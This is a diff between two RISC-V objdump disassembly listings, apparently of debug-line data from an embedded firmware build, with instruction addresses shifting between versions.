-     68e:	0100                	addi	s0,sp,128
-     690:	0c090103          	lb	sp,192(s2)
-     694:	0100                	addi	s0,sp,128
-     696:	0705                	addi	a4,a4,1
-     698:	0306                	slli	t1,t1,0x1
+     5e0:	0302                	c.slli64	t1
+     5e2:	0901                	addi	s2,s2,0
+     5e4:	0002                	c.slli64	zero
+     5e6:	0501                	addi	a0,a0,0
+     5e8:	031f 0900 0000      	0x900031f
+     5ee:	0301                	addi	t1,t1,0
+     5f0:	0900                	addi	s0,sp,144
+     5f2:	0000                	unimp
+     5f4:	0301                	addi	t1,t1,0
+     5f6:	0900                	addi	s0,sp,144
+     5f8:	000a                	c.slli	zero,0x2
+     5fa:	0501                	addi	a0,a0,0
+     5fc:	0302                	c.slli64	t1
+     5fe:	0901                	addi	s2,s2,0
+     600:	0002                	c.slli64	zero
+     602:	0501                	addi	a0,a0,0
+     604:	031f 0900 0000      	0x900031f
+     60a:	0301                	addi	t1,t1,0
+     60c:	0900                	addi	s0,sp,144
+     60e:	0000                	unimp
+     610:	0301                	addi	t1,t1,0
+     612:	0900                	addi	s0,sp,144
+     614:	000a                	c.slli	zero,0x2
+     616:	0501                	addi	a0,a0,0
+     618:	0602                	c.slli64	a2
+     61a:	00090203          	lb	tp,0(s2)
+     61e:	0100                	addi	s0,sp,128
+     620:	1f05                	addi	t5,t5,-31
+     622:	02097e03          	0x2097e03
+     626:	0100                	addi	s0,sp,128
+     628:	0205                	addi	tp,tp,1
+     62a:	0306                	slli	t1,t1,0x1
+     62c:	0902                	c.slli64	s2
+     62e:	0002                	c.slli64	zero
+     630:	0501                	addi	a0,a0,0
+     632:	030c                	addi	a1,sp,384
+     634:	00c9                	addi	ra,ra,18
+     636:	3209                	jal	ffffff38 <_heap_end+0x7fff1738>
+     638:	0100                	addi	s0,sp,128
+     63a:	0b05                	addi	s6,s6,1
+     63c:	097fb903          	0x97fb903
+     640:	000e                	c.slli	zero,0x3
+     642:	0501                	addi	a0,a0,0
+     644:	060c                	addi	a1,sp,768
+     646:	0900c703          	lbu	a4,144(ra) # 20403574 <__sread+0x2>
+     64a:	000c                	0xc
+     64c:	0501                	addi	a0,a0,0
+     64e:	0602                	c.slli64	a2
+     650:	04090403          	lb	s0,64(s2)
+     654:	0100                	addi	s0,sp,128
+     656:	0c090103          	lb	sp,192(s2)
+     65a:	0100                	addi	s0,sp,128
+     65c:	0705                	addi	a4,a4,1
+     65e:	0306                	slli	t1,t1,0x1
+     660:	0900                	addi	s0,sp,144
+     662:	0000                	unimp
+     664:	0501                	addi	a0,a0,0
+     666:	0003060f          	0x3060f
+     66a:	0409                	addi	s0,s0,2
+     66c:	0100                	addi	s0,sp,128
+     66e:	2a05                	jal	79e <__stack_size-0x62>
+     670:	0200                	addi	s0,sp,256
+     672:	0204                	addi	s1,sp,256
+     674:	00090003          	lb	zero,0(s2)
+     678:	0100                	addi	s0,sp,128
+     67a:	1405                	addi	s0,s0,-31
+     67c:	0200                	addi	s0,sp,256
+     67e:	0204                	addi	s1,sp,256
+     680:	00090003          	lb	zero,0(s2)
+     684:	0100                	addi	s0,sp,128
+     686:	1505                	addi	a0,a0,-31
+     688:	0200                	addi	s0,sp,256
+     68a:	0204                	addi	s1,sp,256
+     68c:	0306                	slli	t1,t1,0x1
+     68e:	0900                	addi	s0,sp,144
+     690:	0000                	unimp
+     692:	0501                	addi	a0,a0,0
+     694:	0014                	0x14
+     696:	0402                	c.slli64	s0
+     698:	0302                	c.slli64	t1
      69a:	0900                	addi	s0,sp,144
-     69c:	0000                	unimp
+     69c:	000a                	c.slli	zero,0x2
      69e:	0501                	addi	a0,a0,0
-     6a0:	0003060f          	0x3060f
-     6a4:	0409                	addi	s0,s0,2
-     6a6:	0100                	addi	s0,sp,128
-     6a8:	2a05                	jal	7d8 <__stack_size-0x28>
-     6aa:	0200                	addi	s0,sp,256
-     6ac:	0204                	addi	s1,sp,256
-     6ae:	00090003          	lb	zero,0(s2)
-     6b2:	0100                	addi	s0,sp,128
-     6b4:	1405                	addi	s0,s0,-31
-     6b6:	0200                	addi	s0,sp,256
-     6b8:	0204                	addi	s1,sp,256
-     6ba:	00090003          	lb	zero,0(s2)
-     6be:	0100                	addi	s0,sp,128
-     6c0:	1505                	addi	a0,a0,-31
-     6c2:	0200                	addi	s0,sp,256
-     6c4:	0204                	addi	s1,sp,256
-     6c6:	0306                	slli	t1,t1,0x1
-     6c8:	0900                	addi	s0,sp,144
-     6ca:	0000                	unimp
-     6cc:	0501                	addi	a0,a0,0
-     6ce:	0014                	0x14
+     6a0:	002d                	c.nop	11
+     6a2:	0402                	c.slli64	s0
+     6a4:	00030603          	lb	a2,0(t1) # ffffe000 <_heap_end+0x7ffef800>
+     6a8:	0209                	addi	tp,tp,2
+     6aa:	0100                	addi	s0,sp,128
+     6ac:	0b05                	addi	s6,s6,1
+     6ae:	097fb703          	0x97fb703
+     6b2:	0006                	c.slli	zero,0x1
+     6b4:	0301                	addi	t1,t1,0
+     6b6:	000e0903          	lb	s2,0(t3) # 1a000 <__stack_size+0x19800>
+     6ba:	0301                	addi	t1,t1,0
+     6bc:	000e0903          	lb	s2,0(t3)
+     6c0:	0301                	addi	t1,t1,0
+     6c2:	000e0903          	lb	s2,0(t3)
+     6c6:	0501                	addi	a0,a0,0
+     6c8:	0308                	addi	a0,sp,384
+     6ca:	0901                	addi	s2,s2,0
+     6cc:	0010                	0x10
+     6ce:	0001                	nop
      6d0:	0402                	c.slli64	s0
-     6d2:	0302                	c.slli64	t1
+     6d2:	0304                	addi	s1,sp,384
      6d4:	0900                	addi	s0,sp,144
      6d6:	000a                	c.slli	zero,0x2
-     6d8:	0501                	addi	a0,a0,0
-     6da:	002d                	c.nop	11
-     6dc:	0402                	c.slli64	s0
-     6de:	00030603          	lb	a2,0(t1) # ffffe000 <_heap_end+0x7ffef800>
-     6e2:	0209                	addi	tp,tp,2
-     6e4:	0100                	addi	s0,sp,128
-     6e6:	0b05                	addi	s6,s6,1
-     6e8:	097fb703          	0x97fb703
-     6ec:	0006                	c.slli	zero,0x1
-     6ee:	0301                	addi	t1,t1,0
-     6f0:	000e0903          	lb	s2,0(t3) # 1a000 <__stack_size+0x19800>
-     6f4:	0301                	addi	t1,t1,0
-     6f6:	000e0903          	lb	s2,0(t3)
-     6fa:	0301                	addi	t1,t1,0
-     6fc:	000e0903          	lb	s2,0(t3)
-     700:	0501                	addi	a0,a0,0
-     702:	0308                	addi	a0,sp,384
-     704:	0901                	addi	s2,s2,0
-     706:	0010                	0x10
-     708:	0001                	nop
-     70a:	0402                	c.slli64	s0
-     70c:	0304                	addi	s1,sp,384
-     70e:	0900                	addi	s0,sp,144
-     710:	000a                	c.slli	zero,0x2
-     712:	0601                	addi	a2,a2,0
-     714:	02090403          	lb	s0,32(s2)
-     718:	0100                	addi	s0,sp,128
-     71a:	0105                	addi	sp,sp,1
-     71c:	04093d03          	0x4093d03
-     720:	0100                	addi	s0,sp,128
-     722:	0b05                	addi	s6,s6,1
-     724:	0306                	slli	t1,t1,0x1
-     726:	0942                	slli	s2,s2,0x10
-     728:	002c                	addi	a1,sp,8
-     72a:	0501                	addi	a0,a0,0
-     72c:	0308                	addi	a0,sp,384
-     72e:	0901                	addi	s2,s2,0
-     730:	0010                	0x10
-     732:	0301                	addi	t1,t1,0
-     734:	0900                	addi	s0,sp,144
-     736:	0000                	unimp
-     738:	0501                	addi	a0,a0,0
-     73a:	0903030b          	0x903030b
-     73e:	0004                	0x4
-     740:	0601                	addi	a2,a2,0
-     742:	0c090403          	lb	s0,192(s2)
-     746:	0100                	addi	s0,sp,128
-     748:	0705                	addi	a4,a4,1
-     74a:	0306                	slli	t1,t1,0x1
-     74c:	0901                	addi	s2,s2,0
-     74e:	0004                	0x4
-     750:	0001                	nop
-     752:	0402                	c.slli64	s0
-     754:	0304                	addi	s1,sp,384
-     756:	0900                	addi	s0,sp,144
-     758:	000c                	0xc
-     75a:	0501                	addi	a0,a0,0
-     75c:	097f030b          	0x97f030b
-     760:	0008                	0x8
-     762:	0301                	addi	t1,t1,0
-     764:	0904                	addi	s1,sp,144
-     766:	000e                	c.slli	zero,0x3
-     768:	0301                	addi	t1,t1,0
-     76a:	000e0903          	lb	s2,0(t3)
-     76e:	0301                	addi	t1,t1,0
-     770:	000e0903          	lb	s2,0(t3)
-     774:	0501                	addi	a0,a0,0
-     776:	0306                	slli	t1,t1,0x1
-     778:	0906                	slli	s2,s2,0x1
-     77a:	0010                	0x10
-     77c:	0301                	addi	t1,t1,0
-     77e:	0901                	addi	s2,s2,0
-     780:	0010                	0x10
-     782:	0301                	addi	t1,t1,0
-     784:	0901                	addi	s2,s2,0
-     786:	0012                	c.slli	zero,0x4
-     788:	0301                	addi	t1,t1,0
-     78a:	0901                	addi	s2,s2,0
-     78c:	0012                	c.slli	zero,0x4
-     78e:	0301                	addi	t1,t1,0
-     790:	0901                	addi	s2,s2,0
-     792:	000e                	c.slli	zero,0x3
-     794:	0301                	addi	t1,t1,0
+     6d8:	0601                	addi	a2,a2,0
+     6da:	02090403          	lb	s0,32(s2)
+     6de:	0100                	addi	s0,sp,128
+     6e0:	0105                	addi	sp,sp,1
+     6e2:	04093d03          	0x4093d03
+     6e6:	0100                	addi	s0,sp,128
+     6e8:	0b05                	addi	s6,s6,1
+     6ea:	0306                	slli	t1,t1,0x1
+     6ec:	0942                	slli	s2,s2,0x10
+     6ee:	002c                	addi	a1,sp,8
+     6f0:	0501                	addi	a0,a0,0
+     6f2:	0308                	addi	a0,sp,384
+     6f4:	0901                	addi	s2,s2,0
+     6f6:	0010                	0x10
+     6f8:	0301                	addi	t1,t1,0
+     6fa:	0900                	addi	s0,sp,144
+     6fc:	0000                	unimp
+     6fe:	0501                	addi	a0,a0,0
+     700:	0903030b          	0x903030b
+     704:	0004                	0x4
+     706:	0601                	addi	a2,a2,0
+     708:	0c090403          	lb	s0,192(s2)
+     70c:	0100                	addi	s0,sp,128
+     70e:	0705                	addi	a4,a4,1
+     710:	0306                	slli	t1,t1,0x1
+     712:	0901                	addi	s2,s2,0
+     714:	0004                	0x4
+     716:	0001                	nop
+     718:	0402                	c.slli64	s0
+     71a:	0304                	addi	s1,sp,384
+     71c:	0900                	addi	s0,sp,144
+     71e:	000c                	0xc
+     720:	0501                	addi	a0,a0,0
+     722:	097f030b          	0x97f030b
+     726:	0008                	0x8
+     728:	0301                	addi	t1,t1,0
+     72a:	0904                	addi	s1,sp,144
+     72c:	000e                	c.slli	zero,0x3
+     72e:	0301                	addi	t1,t1,0
+     730:	000e0903          	lb	s2,0(t3)
+     734:	0301                	addi	t1,t1,0
+     736:	000e0903          	lb	s2,0(t3)
+     73a:	0501                	addi	a0,a0,0
+     73c:	0306                	slli	t1,t1,0x1
+     73e:	0906                	slli	s2,s2,0x1
+     740:	0010                	0x10
+     742:	0301                	addi	t1,t1,0
+     744:	0901                	addi	s2,s2,0
+     746:	0010                	0x10
+     748:	0301                	addi	t1,t1,0
+     74a:	0901                	addi	s2,s2,0
+     74c:	0012                	c.slli	zero,0x4
+     74e:	0301                	addi	t1,t1,0
+     750:	0901                	addi	s2,s2,0
+     752:	0012                	c.slli	zero,0x4
+     754:	0301                	addi	t1,t1,0
+     756:	0901                	addi	s2,s2,0
+     758:	000e                	c.slli	zero,0x3
+     75a:	0301                	addi	t1,t1,0
+     75c:	0901                	addi	s2,s2,0
+     75e:	000e                	c.slli	zero,0x3
+     760:	0301                	addi	t1,t1,0
+     762:	0901                	addi	s2,s2,0
+     764:	0010                	0x10
+     766:	0501                	addi	a0,a0,0
+     768:	0621                	addi	a2,a2,8
+     76a:	00090003          	lb	zero,0(s2)
+     76e:	0100                	addi	s0,sp,128
+     770:	0605                	addi	a2,a2,1
+     772:	0306                	slli	t1,t1,0x1
+     774:	0901                	addi	s2,s2,0
+     776:	0008                	0x8
+     778:	0301                	addi	t1,t1,0
+     77a:	00040903          	lb	s2,0(s0) # ffffa000 <_heap_end+0x7ffeb800>
+     77e:	0301                	addi	t1,t1,0
+     780:	0901                	addi	s2,s2,0
+     782:	0010                	0x10
+     784:	0301                	addi	t1,t1,0
+     786:	0901                	addi	s2,s2,0
+     788:	0012                	c.slli	zero,0x4
+     78a:	0501                	addi	a0,a0,0
+     78c:	0320                	addi	s0,sp,392
+     78e:	0900                	addi	s0,sp,144
+     790:	0010                	0x10
+     792:	0501                	addi	a0,a0,0
+     794:	0306                	slli	t1,t1,0x1
      796:	0901                	addi	s2,s2,0
-     798:	000e                	c.slli	zero,0x3
+     798:	0014                	0x14
      79a:	0301                	addi	t1,t1,0
      79c:	0901                	addi	s2,s2,0
      79e:	0010                	0x10
      7a0:	0501                	addi	a0,a0,0
-     7a2:	0621                	addi	a2,a2,8
-     7a4:	00090003          	lb	zero,0(s2)
-     7a8:	0100                	addi	s0,sp,128
-     7aa:	0605                	addi	a2,a2,1
-     7ac:	0306                	slli	t1,t1,0x1
-     7ae:	0901                	addi	s2,s2,0
-     7b0:	0008                	0x8
-     7b2:	0301                	addi	t1,t1,0
-     7b4:	00040903          	lb	s2,0(s0) # ffffa000 <_heap_end+0x7ffeb800>
-     7b8:	0301                	addi	t1,t1,0
-     7ba:	0901                	addi	s2,s2,0
-     7bc:	0010                	0x10
-     7be:	0301                	addi	t1,t1,0
-     7c0:	0901                	addi	s2,s2,0
-     7c2:	0012                	c.slli	zero,0x4
-     7c4:	0501                	addi	a0,a0,0
-     7c6:	0320                	addi	s0,sp,392
-     7c8:	0900                	addi	s0,sp,144
-     7ca:	0010                	0x10
-     7cc:	0501                	addi	a0,a0,0
-     7ce:	0306                	slli	t1,t1,0x1
-     7d0:	0901                	addi	s2,s2,0
-     7d2:	0014                	0x14
-     7d4:	0301                	addi	t1,t1,0
-     7d6:	0901                	addi	s2,s2,0
-     7d8:	0010                	0x10
-     7da:	0501                	addi	a0,a0,0
-     7dc:	09000323          	sb	a6,134(zero) # 86 <__stack_size-0x77a>
-     7e0:	000c                	0xc
-     7e2:	0501                	addi	a0,a0,0
-     7e4:	0306                	slli	t1,t1,0x1
-     7e6:	0901                	addi	s2,s2,0
-     7e8:	0000                	unimp
-     7ea:	0301                	addi	t1,t1,0
-     7ec:	0900                	addi	s0,sp,144
-     7ee:	0000                	unimp
-     7f0:	0301                	addi	t1,t1,0
-     7f2:	0900                	addi	s0,sp,144
-     7f4:	0000                	unimp
-     7f6:	0301                	addi	t1,t1,0
-     7f8:	0900                	addi	s0,sp,144
-     7fa:	0000                	unimp
-     7fc:	0301                	addi	t1,t1,0
-     7fe:	0900                	addi	s0,sp,144
-     800:	0008                	0x8
-     802:	0301                	addi	t1,t1,0
-     804:	0901                	addi	s2,s2,0
-     806:	0000                	unimp
-     808:	0301                	addi	t1,t1,0
-     80a:	00020903          	lb	s2,0(tp) # fffe1000 <_heap_end+0x7ffd2800>
-     80e:	0501                	addi	a0,a0,0
-     810:	09000307          	0x9000307
-     814:	0000                	unimp
-     816:	0501                	addi	a0,a0,0
-     818:	0616                	slli	a2,a2,0x5
-     81a:	00090003          	lb	zero,0(s2)
-     81e:	0100                	addi	s0,sp,128
-     820:	2005                	jal	840 <__stack_size+0x40>
-     822:	04090103          	lb	sp,64(s2)
-     826:	0100                	addi	s0,sp,128
-     828:	1605                	addi	a2,a2,-31
-     82a:	06097f03          	0x6097f03
-     82e:	0100                	addi	s0,sp,128
-     830:	0605                	addi	a2,a2,1
-     832:	0306                	slli	t1,t1,0x1
-     834:	0901                	addi	s2,s2,0
-     836:	0004                	0x4
-     838:	0501                	addi	a0,a0,0
-     83a:	0314                	addi	a3,sp,384
-     83c:	0900                	addi	s0,sp,144
-     83e:	0000                	unimp
-     840:	0501                	addi	a0,a0,0
-     842:	0620                	addi	s0,sp,776
-     844:	00090003          	lb	zero,0(s2)
-     848:	0100                	addi	s0,sp,128
-     84a:	0605                	addi	a2,a2,1
-     84c:	0306                	slli	t1,t1,0x1
-     84e:	0901                	addi	s2,s2,0
-     850:	0006                	c.slli	zero,0x1
-     852:	0501                	addi	a0,a0,0
-     854:	0609                	addi	a2,a2,2
-     856:	00090003          	lb	zero,0(s2)
-     85a:	0100                	addi	s0,sp,128
-     85c:	0705                	addi	a4,a4,1
-     85e:	0306                	slli	t1,t1,0x1
-     860:	00040903          	lb	s2,0(s0)
-     864:	0501                	addi	a0,a0,0
-     866:	0003060f          	0x3060f
-     86a:	0009                	c.nop	2
-     86c:	0100                	addi	s0,sp,128
-     86e:	0200                	addi	s0,sp,256
-     870:	0104                	addi	s1,sp,128
-     872:	12090003          	lb	zero,288(s2)
-     876:	0100                	addi	s0,sp,128
-     878:	0705                	addi	a4,a4,1
-     87a:	0200                	addi	s0,sp,256
-     87c:	0404                	addi	s1,sp,512
+     7a2:	09000323          	sb	a6,134(zero) # 86 <__stack_size-0x77a>
+     7a6:	000c                	0xc
+     7a8:	0501                	addi	a0,a0,0
+     7aa:	0306                	slli	t1,t1,0x1
+     7ac:	0901                	addi	s2,s2,0
+     7ae:	0000                	unimp
+     7b0:	0301                	addi	t1,t1,0
+     7b2:	0900                	addi	s0,sp,144
+     7b4:	0000                	unimp
+     7b6:	0301                	addi	t1,t1,0
+     7b8:	0900                	addi	s0,sp,144
+     7ba:	0000                	unimp
+     7bc:	0301                	addi	t1,t1,0
+     7be:	0900                	addi	s0,sp,144
+     7c0:	0000                	unimp
+     7c2:	0301                	addi	t1,t1,0
+     7c4:	0900                	addi	s0,sp,144
+     7c6:	0008                	0x8
+     7c8:	0301                	addi	t1,t1,0
+     7ca:	0901                	addi	s2,s2,0
+     7cc:	0000                	unimp
+     7ce:	0301                	addi	t1,t1,0
+     7d0:	00020903          	lb	s2,0(tp) # 1a000 <__stack_size+0x19800>
+     7d4:	0501                	addi	a0,a0,0
+     7d6:	09000307          	0x9000307
+     7da:	0000                	unimp
+     7dc:	0501                	addi	a0,a0,0
+     7de:	0616                	slli	a2,a2,0x5
+     7e0:	00090003          	lb	zero,0(s2)
+     7e4:	0100                	addi	s0,sp,128
+     7e6:	2005                	jal	806 <__stack_size+0x6>
+     7e8:	04090103          	lb	sp,64(s2)
+     7ec:	0100                	addi	s0,sp,128
+     7ee:	1605                	addi	a2,a2,-31
+     7f0:	06097f03          	0x6097f03
+     7f4:	0100                	addi	s0,sp,128
+     7f6:	0605                	addi	a2,a2,1
+     7f8:	0306                	slli	t1,t1,0x1
+     7fa:	0901                	addi	s2,s2,0
+     7fc:	0004                	0x4
+     7fe:	0501                	addi	a0,a0,0
+     800:	0314                	addi	a3,sp,384
+     802:	0900                	addi	s0,sp,144
+     804:	0000                	unimp
+     806:	0501                	addi	a0,a0,0
+     808:	0620                	addi	s0,sp,776
+     80a:	00090003          	lb	zero,0(s2)
+     80e:	0100                	addi	s0,sp,128
+     810:	0605                	addi	a2,a2,1
+     812:	0306                	slli	t1,t1,0x1
+     814:	0901                	addi	s2,s2,0
+     816:	0006                	c.slli	zero,0x1
+     818:	0501                	addi	a0,a0,0
+     81a:	0609                	addi	a2,a2,2
+     81c:	00090003          	lb	zero,0(s2)
+     820:	0100                	addi	s0,sp,128
+     822:	0705                	addi	a4,a4,1
+     824:	0306                	slli	t1,t1,0x1
+     826:	00040903          	lb	s2,0(s0)
+     82a:	0501                	addi	a0,a0,0
+     82c:	0003060f          	0x3060f
+     830:	0009                	c.nop	2
+     832:	0100                	addi	s0,sp,128
+     834:	0200                	addi	s0,sp,256
+     836:	0104                	addi	s1,sp,128
+     838:	12090003          	lb	zero,288(s2)
+     83c:	0100                	addi	s0,sp,128
+     83e:	0705                	addi	a4,a4,1
+     840:	0200                	addi	s0,sp,256
+     842:	0404                	addi	s1,sp,512
+     844:	0306                	slli	t1,t1,0x1
+     846:	0901                	addi	s2,s2,0
+     848:	0006                	c.slli	zero,0x1
+     84a:	0501                	addi	a0,a0,0
+     84c:	0021                	c.nop	8
+     84e:	0402                	c.slli64	s0
+     850:	0604                	addi	s1,sp,768
+     852:	00090003          	lb	zero,0(s2)
+     856:	0100                	addi	s0,sp,128
+     858:	0705                	addi	a4,a4,1
+     85a:	0200                	addi	s0,sp,256
+     85c:	0404                	addi	s1,sp,512
+     85e:	02090003          	lb	zero,32(s2)
+     862:	0100                	addi	s0,sp,128
+     864:	0200                	addi	s0,sp,256
+     866:	0404                	addi	s1,sp,512
+     868:	0306                	slli	t1,t1,0x1
+     86a:	0901                	addi	s2,s2,0
+     86c:	000a                	c.slli	zero,0x2
+     86e:	0501                	addi	a0,a0,0
+     870:	0010                	0x10
+     872:	0402                	c.slli64	s0
+     874:	0604                	addi	s1,sp,768
+     876:	00090003          	lb	zero,0(s2)
+     87a:	0100                	addi	s0,sp,128
+     87c:	0605                	addi	a2,a2,1
      87e:	0306                	slli	t1,t1,0x1
-     880:	0901                	addi	s2,s2,0
+     880:	0902                	c.slli64	s2
      882:	0006                	c.slli	zero,0x1
      884:	0501                	addi	a0,a0,0
-     886:	0021                	c.nop	8
-     888:	0402                	c.slli64	s0
-     88a:	0604                	addi	s1,sp,768
-     88c:	00090003          	lb	zero,0(s2)
-     890:	0100                	addi	s0,sp,128
-     892:	0705                	addi	a4,a4,1
-     894:	0200                	addi	s0,sp,256
-     896:	0404                	addi	s1,sp,512
-     898:	02090003          	lb	zero,32(s2)
-     89c:	0100                	addi	s0,sp,128
-     89e:	0200                	addi	s0,sp,256
-     8a0:	0404                	addi	s1,sp,512
-     8a2:	0306                	slli	t1,t1,0x1
-     8a4:	0901                	addi	s2,s2,0
-     8a6:	000a                	c.slli	zero,0x2
-     8a8:	0501                	addi	a0,a0,0
-     8aa:	0010                	0x10
-     8ac:	0402                	c.slli64	s0
-     8ae:	0604                	addi	s1,sp,768
-     8b0:	00090003          	lb	zero,0(s2)
-     8b4:	0100                	addi	s0,sp,128
-     8b6:	0605                	addi	a2,a2,1
-     8b8:	0306                	slli	t1,t1,0x1
-     8ba:	0902                	c.slli64	s2
-     8bc:	0006                	c.slli	zero,0x1
-     8be:	0501                	addi	a0,a0,0
-     8c0:	0622                	slli	a2,a2,0x8
-     8c2:	00090003          	lb	zero,0(s2)
-     8c6:	0100                	addi	s0,sp,128
-     8c8:	0605                	addi	a2,a2,1
-     8ca:	0306                	slli	t1,t1,0x1
-     8cc:	0901                	addi	s2,s2,0
-     8ce:	0008                	0x8
-     8d0:	0901                	addi	s2,s2,0
-     8d2:	0002                	c.slli64	zero
+     886:	0622                	slli	a2,a2,0x8
+     888:	00090003          	lb	zero,0(s2)
+     88c:	0100                	addi	s0,sp,128
+     88e:	0605                	addi	a2,a2,1
+     890:	0306                	slli	t1,t1,0x1
+     892:	0901                	addi	s2,s2,0
+     894:	0008                	0x8
+     896:	0901                	addi	s2,s2,0
+     898:	0002                	c.slli64	zero
+     89a:	0100                	addi	s0,sp,128
+     89c:	0501                	addi	a0,a0,0
+     89e:	0011                	c.nop	4
+     8a0:	0205                	addi	tp,tp,1
+     8a2:	189c                	addi	a5,sp,112
+     8a4:	2040                	fld	fs0,128(s0)
+     8a6:	0100f103          	0x100f103
+     8aa:	0205                	addi	tp,tp,1
+     8ac:	00090603          	lb	a2,0(s2)
+     8b0:	0100                	addi	s0,sp,128
+     8b2:	00090003          	lb	zero,0(s2)
+     8b6:	0100                	addi	s0,sp,128
+     8b8:	1105                	addi	sp,sp,-31
+     8ba:	0306                	slli	t1,t1,0x1
+     8bc:	097a                	slli	s2,s2,0x1e
+     8be:	0000                	unimp
+     8c0:	0501                	addi	a0,a0,0
+     8c2:	0302                	c.slli64	t1
+     8c4:	0906                	slli	s2,s2,0x1
+     8c6:	0014                	0x14
+     8c8:	0601                	addi	a2,a2,0
+     8ca:	0c090103          	lb	sp,192(s2)
+     8ce:	0100                	addi	s0,sp,128
+     8d0:	00090003          	lb	zero,0(s2)
      8d4:	0100                	addi	s0,sp,128
-     8d6:	0501                	addi	a0,a0,0
-     8d8:	001c                	0x1c
-     8da:	0205                	addi	tp,tp,1
-     8dc:	1c8a                	slli	s9,s9,0x22
-     8de:	2040                	fld	fs0,128(s0)
-     8e0:	0100ee03          	0x100ee03
-     8e4:	0205                	addi	tp,tp,1
-     8e6:	00090403          	lb	s0,0(s2)
-     8ea:	0100                	addi	s0,sp,128
-     8ec:	1d05                	addi	s10,s10,-31
-     8ee:	00090003          	lb	zero,0(s2)
-     8f2:	0100                	addi	s0,sp,128
-     8f4:	00090003          	lb	zero,0(s2)
-     8f8:	0100                	addi	s0,sp,128
-     8fa:	1c05                	addi	s8,s8,-31
-     8fc:	0306                	slli	t1,t1,0x1
-     8fe:	097c                	addi	a5,sp,156
-     900:	0000                	unimp
-     902:	0501                	addi	a0,a0,0
-     904:	031d                	addi	t1,t1,7
-     906:	0904                	addi	s1,sp,144
-     908:	0008                	0x8
-     90a:	0601                	addi	a2,a2,0
-     90c:	04090003          	lb	zero,64(s2)
-     910:	0100                	addi	s0,sp,128
-     912:	0205                	addi	tp,tp,1
-     914:	00090103          	lb	sp,0(s2)
-     918:	0100                	addi	s0,sp,128
-     91a:	3c05                	jal	34a <__stack_size-0x4b6>
-     91c:	0306                	slli	t1,t1,0x1
-     91e:	0900                	addi	s0,sp,144
-     920:	0000                	unimp
-     922:	0501                	addi	a0,a0,0
-     924:	031a                	slli	t1,t1,0x6
+     8d6:	00090003          	lb	zero,0(s2)
+     8da:	0100                	addi	s0,sp,128
+     8dc:	00090003          	lb	zero,0(s2)
+     8e0:	0100                	addi	s0,sp,128
+     8e2:	0a090003          	lb	zero,160(s2)
+     8e6:	0100                	addi	s0,sp,128
+     8e8:	0505                	addi	a0,a0,1
+     8ea:	00090103          	lb	sp,0(s2)
+     8ee:	0100                	addi	s0,sp,128
+     8f0:	00090003          	lb	zero,0(s2)
+     8f4:	0100                	addi	s0,sp,128
+     8f6:	00090003          	lb	zero,0(s2)
+     8fa:	0100                	addi	s0,sp,128
+     8fc:	00090003          	lb	zero,0(s2)
+     900:	0100                	addi	s0,sp,128
+     902:	04090003          	lb	zero,64(s2)
+     906:	0100                	addi	s0,sp,128
+     908:	0205                	addi	tp,tp,1
+     90a:	00090303          	lb	t1,0(s2)
+     90e:	0100                	addi	s0,sp,128
+     910:	5105                	li	sp,-31
+     912:	0306                	slli	t1,t1,0x1
+     914:	0900                	addi	s0,sp,144
+     916:	0000                	unimp
+     918:	0501                	addi	a0,a0,0
+     91a:	0602                	c.slli64	a2
+     91c:	08090103          	lb	sp,128(s2)
+     920:	0100                	addi	s0,sp,128
+     922:	1b05                	addi	s6,s6,-31
+     924:	0306                	slli	t1,t1,0x1
      926:	0900                	addi	s0,sp,144
-     928:	0002                	c.slli64	zero
+     928:	0000                	unimp
      92a:	0501                	addi	a0,a0,0
-     92c:	033c                	addi	a5,sp,392
-     92e:	0900                	addi	s0,sp,144
-     930:	0004                	0x4
+     92c:	0302                	c.slli64	t1
+     92e:	0902                	c.slli64	s2
+     930:	0006                	c.slli	zero,0x1
      932:	0501                	addi	a0,a0,0
-     934:	0330                	addi	a2,sp,392
-     936:	0901                	addi	s2,s2,0
-     938:	0008                	0x8
+     934:	097e031b          	0x97e031b
+     938:	0004                	0x4
      93a:	0501                	addi	a0,a0,0
-     93c:	0002                	c.slli64	zero
-     93e:	0402                	c.slli64	s0
-     940:	03030603          	lb	a2,48(t1)
-     944:	0c09                	addi	s8,s8,2
-     946:	0100                	addi	s0,sp,128
-     948:	0705                	addi	a4,a4,1
-     94a:	0200                	addi	s0,sp,256
-     94c:	0304                	addi	s1,sp,384
-     94e:	0306                	slli	t1,t1,0x1
-     950:	0900                	addi	s0,sp,144
-     952:	0000                	unimp
-     954:	0501                	addi	a0,a0,0
-     956:	0002                	c.slli64	zero
-     958:	0402                	c.slli64	s0
-     95a:	01030603          	lb	a2,16(t1)
-     95e:	0c09                	addi	s8,s8,2
+     93c:	0602                	c.slli64	a2
+     93e:	06090203          	lb	tp,96(s2)
+     942:	0100                	addi	s0,sp,128
+     944:	0c090203          	lb	tp,192(s2)
+     948:	0100                	addi	s0,sp,128
+     94a:	0c090203          	lb	tp,192(s2)
+     94e:	0100                	addi	s0,sp,128
+     950:	0c090103          	lb	sp,192(s2)
+     954:	0100                	addi	s0,sp,128
+     956:	0c090103          	lb	sp,192(s2)
+     95a:	0100                	addi	s0,sp,128
+     95c:	0c090103          	lb	sp,192(s2)
      960:	0100                	addi	s0,sp,128
-     962:	0705                	addi	a4,a4,1
-     964:	0200                	addi	s0,sp,256
-     966:	0304                	addi	s1,sp,384
-     968:	00090003          	lb	zero,0(s2)
+     962:	0c090103          	lb	sp,192(s2)
+     966:	0100                	addi	s0,sp,128
+     968:	0c090103          	lb	sp,192(s2)
      96c:	0100                	addi	s0,sp,128
-     96e:	1505                	addi	a0,a0,-31
-     970:	0200                	addi	s0,sp,256
-     972:	0304                	addi	s1,sp,384
-     974:	00090003          	lb	zero,0(s2)
+     96e:	0c090103          	lb	sp,192(s2)
+     972:	0100                	addi	s0,sp,128
+     974:	0c090103          	lb	sp,192(s2)
      978:	0100                	addi	s0,sp,128
-     97a:	1005                	c.nop	-31
-     97c:	0200                	addi	s0,sp,256
-     97e:	0304                	addi	s1,sp,384
-     980:	0306                	slli	t1,t1,0x1
-     982:	0900                	addi	s0,sp,144
-     984:	0000                	unimp
-     986:	0501                	addi	a0,a0,0
-     988:	0402000b          	0x402000b
-     98c:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-     990:	0002                	c.slli64	zero
-     992:	0501                	addi	a0,a0,0
-     994:	0002                	c.slli64	zero
-     996:	0402                	c.slli64	s0
-     998:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-     99c:	0002                	c.slli64	zero
-     99e:	0501                	addi	a0,a0,0
-     9a0:	01030603          	lb	a2,16(t1)
-     9a4:	0209                	addi	tp,tp,2
